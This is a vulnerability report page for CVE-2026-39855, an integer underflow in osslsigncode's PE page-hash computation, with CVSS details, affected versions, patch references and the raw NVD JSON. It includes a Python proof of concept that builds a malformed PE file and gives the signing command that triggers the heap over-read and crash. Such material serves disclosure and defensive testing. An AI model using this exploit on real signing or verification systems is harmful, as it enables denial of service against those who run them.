Security Vulnerability Report
中文
CVE-2026-39855 CVSS 5.5 MEDIUM

CVE-2026-39855

Published: 2026-04-09 17:16:29
Last Modified: 2026-04-17 20:00:56

Description

osslsigncode is a tool that implements Authenticode signing and timestamping. Prior to 2.13, an integer underflow vulnerability exists in osslsigncode version 2.12 and earlier in the PE page-hash computation code (pe_page_hash_calc()). When page hash processing is performed on a PE file, the function subtracts hdrsize from pagesize without first validating that pagesize >= hdrsize. If a malicious PE file sets SizeOfHeaders (hdrsize) larger than SectionAlignment (pagesize), the subtraction underflows and produces a very large unsigned length. The code allocates a zero-filled buffer of pagesize bytes and then attempts to hash pagesize - hdrsize bytes from that buffer. After the underflow, this results in an out-of-bounds read from the heap and can crash the process. The vulnerability can be triggered while signing a malicious PE file with page hashing enabled (-ph), or while verifying a malicious signed PE file that already contains page hashes. Verification of an already signed file does not require the verifier to pass -ph. This vulnerability is fixed in 2.13.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:osslsigncode_project:osslsigncode:*:*:*:*:*:*:*:* - VULNERABLE
osslsigncode <= 2.12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct import os # Proof of Concept: Create a malformed PE file to trigger the integer underflow # in osslsigncode < 2.13 when using the -ph (page hash) flag. def create_malformed_pe(filename): # DOS Header (minimal) dos_header = b'MZ' + b'\x00' * 0x3c pe_offset = 0x40 dos_header += struct.pack('<I', pe_offset) dos_header += b'\x00' * (pe_offset - len(dos_header)) # PE Signature pe_sig = b'PE\x00\x00' # File Header machine = struct.pack('<H', 0x014c) # IMAGE_FILE_MACHINE_I386 num_sections = struct.pack('<H', 1) timestamp = struct.pack('<I', 0) sym_table_ptr = struct.pack('<I', 0) num_symbols = struct.pack('<I', 0) opt_header_size = struct.pack('<H', 0xE0) # SizeOfOptionalHeader characteristics = struct.pack('<H', 0x0102) file_header = pe_sig + machine + num_sections + timestamp + sym_table_ptr + num_symbols + opt_header_size + characteristics # Optional Header magic = struct.pack('<H', 0x010b) linker_ver = struct.pack('<B', 6) + struct.pack('<B', 0) code_size = struct.pack('<I', 0x200) init_data_size = struct.pack('<I', 0x200) uninit_data_size = struct.pack('<I', 0) entry_point = struct.pack('<I', 0x1000) code_base = struct.pack('<I', 0x1000) data_base = struct.pack('<I', 0) image_base = struct.pack('<I', 0x400000) # Malformed Configuration: # SectionAlignment = 0x1000 # SizeOfHeaders = 0x2000 (SizeOfHeaders > SectionAlignment triggers underflow) section_alignment = struct.pack('<I', 0x1000) file_alignment = struct.pack('<I', 0x200) os_ver = struct.pack('<H', 4) + struct.pack('<H', 0) img_ver = struct.pack('<H', 0) + struct.pack('<H', 0) subsys_ver = struct.pack('<H', 4) + struct.pack('<H', 0) win32_ver = struct.pack('<I', 0) img_size = struct.pack('<I', 0x3000) header_size = struct.pack('<I', 0x2000) # Malformed: Larger than SectionAlignment checksum = struct.pack('<I', 0) subsystem = struct.pack('<H', 2) dll_flags = struct.pack('<H', 0) stack_reserve = struct.pack('<I', 0x100000) stack_commit = struct.pack('<I', 0x1000) heap_reserve = struct.pack('<I', 0x100000) heap_commit = struct.pack('<I', 0x1000) loader_flags = struct.pack('<I', 0) num_rva = struct.pack('<I', 0x10) opt_header = magic + linker_ver + code_size + init_data_size + uninit_data_size + \ entry_point + code_base + data_base + image_base + section_alignment + \ file_alignment + os_ver + img_ver + subsys_ver + win32_ver + \ img_size + header_size + checksum + subsystem + dll_flags + \ stack_reserve + stack_commit + heap_reserve + heap_commit + \ loader_flags + num_rva # Section Header (.text) name = b'.text\x00\x00\x00' virt_size = struct.pack('<I', 0x200) virt_addr = struct.pack('<I', 0x1000) raw_size = struct.pack('<I', 0x200) raw_addr = struct.pack('<I', 0x2000) # Must be >= SizeOfHeaders (0x2000) relocs = struct.pack('<I', 0) line_nums = struct.pack('<I', 0) num_relocs = struct.pack('<H', 0) num_line_nums = struct.pack('<H', 0) charact = struct.pack('<I', 0x60000020) section_header = name + virt_size + virt_addr + raw_size + raw_addr + relocs + line_nums + num_relocs + num_line_nums + charact pe_content = dos_header + file_header + opt_header + section_header # Pad to SizeOfHeaders (0x2000) pe_content += b'\x00' * (0x2000 - len(pe_content)) # Pad section data pe_content += b'\x90' * 0x200 with open(filename, 'wb') as f: f.write(pe_content) print(f"Created malformed PE: {filename}") print(f"Run: osslsigncode sign -ph -certs cert.pem -key key.pem {filename} out.exe") if __name__ == "__main__": create_malformed_pe("malicious.exe")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39855", "sourceIdentifier": "[email protected]", "published": "2026-04-09T17:16:29.140", "lastModified": "2026-04-17T20:00:55.620", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "osslsigncode is a tool that implements Authenticode signing and timestamping. Prior to 2.13, an integer underflow vulnerability exists in osslsigncode version 2.12 and earlier in the PE page-hash computation code (pe_page_hash_calc()). When page hash processing is performed on a PE file, the function subtracts hdrsize from pagesize without first validating that pagesize >= hdrsize. If a malicious PE file sets SizeOfHeaders (hdrsize) larger than SectionAlignment (pagesize), the subtraction underflows and produces a very large unsigned length. The code allocates a zero-filled buffer of pagesize bytes and then attempts to hash pagesize - hdrsize bytes from that buffer. After the underflow, this results in an out-of-bounds read from the heap and can crash the process. The vulnerability can be triggered while signing a malicious PE file with page hashing enabled (-ph), or while verifying a malicious signed PE file that already contains page hashes. Verification of an already signed file does not require the verifier to pass -ph. This vulnerability is fixed in 2.13."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}, {"lang": "en", "value": "CWE-190"}, {"lang": "en", "value": "CWE-191"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:osslsigncode_project:osslsigncode:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.13", "matchCriteriaId": "3F16716F-B2C3-41F9-B32B-CFD011129F12"}]}]}], "references": [{"url": "https://github.com/mtrojnar/osslsigncode/commit/2a5409b7c4b6c6fad2b093531e8fea6cf08e1568", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/mtrojnar/osslsigncode/releases/tag/2.13", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/mtrojnar/osslsigncode/security/advisories/GHSA-76vv-x5rr-q3mr", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}